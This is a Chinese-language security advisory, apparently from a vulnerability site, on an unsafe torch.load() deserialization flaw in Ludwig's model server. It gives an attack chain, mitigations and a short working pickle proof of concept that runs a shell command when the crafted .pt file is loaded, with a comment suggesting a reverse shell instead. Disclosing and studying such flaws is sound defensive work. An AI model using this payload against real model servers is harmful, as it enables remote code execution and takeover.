IPBUF安全漏洞报告
English
CVE-2026-31238 CVSS 9.8 严重

CVE-2026-31238 Ludwig框架不安全反序列化漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31238
漏洞类型
不安全反序列化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ludwig

相关标签

RCE不安全反序列化LudwigPyTorchCWE-502Machine Learning

漏洞概述

Ludwig框架0.10.4及之前版本在模型服务组件中存在不安全反序列化漏洞(CWE-502)。当使用`ludwig serve`启动模型服务器时,框架使用`torch.load()`加载模型权重文件,默认未启用安全限制参数`weights_only=True`。此行为允许通过pickle模块反序列化任意Python对象。攻击者可利用此漏洞提供恶意构造的PyTorch模型文件,导致在托管Ludwig模型服务器的系统上执行任意代码。

技术细节

该漏洞根源在于Ludwig框架对PyTorch模型文件的不安全加载机制。在深度学习工作流中,模型权重通常使用Python的pickle模块进行序列化存储。`torch.load()`函数默认会反序列化pickle数据,而pickle在反序列化过程中会执行对象的`__reduce__`方法,这可能导致任意代码执行。Ludwig在实现`ludwig serve`功能时,直接调用了`torch.load()`而没有设置`weights_only=True`(该参数旨在仅加载张量数据,禁止加载任意Python对象)。由于模型服务通常暴露在网络接口上,且无需认证(PR:N),攻击者可以向服务端发送特制的恶意`.pt`或`.pth`文件。一旦服务端尝试加载该文件,其中的恶意payload将被反序列化并执行,从而在服务器端获得命令执行权限。

攻击链分析

STEP 1
侦察
攻击者发现目标正在使用Ludwig框架运行模型服务,且端口对外开放。
STEP 2
构造攻击载荷
攻击者创建一个包含恶意Python对象的PyTorch模型文件(.pt),该对象在反序列化时会触发任意代码执行。
STEP 3
投递恶意文件
攻击者通过模型上传接口或API调用,将恶意模型文件发送给Ludwig服务器。
STEP 4
触发漏洞
Ludwig服务器使用`torch.load()`处理接收到的文件,由于未启用安全限制,恶意代码被反序列化并执行。
STEP 5
建立控制
攻击者在受害者服务器上获得执行权限,可能进一步植入后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os import torch # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a shell command (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Create an instance of the malicious class payload = MaliciousPayload() # Serialize the payload and save it as a PyTorch model file # This simulates a malicious model file that an attacker would upload with open('malicious_model.pt', 'wb') as f: pickle.dump(payload, f) print("Malicious PyTorch model 'malicious_model.pt' generated successfully.") # When the victim loads this file using torch.load() without weights_only=True, # the command 'touch /tmp/pwned' will be executed on the server.

影响范围

Ludwig <= 0.10.4

防御指南

临时缓解措施
如果无法立即升级,请限制对`ludwig serve`端点的网络访问,仅允许可信的内网IP访问。此外,实施严格的文件上传过滤机制,检查上传的文件内容是否为合法的PyTorch模型权重,而非包含任意对象代码的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表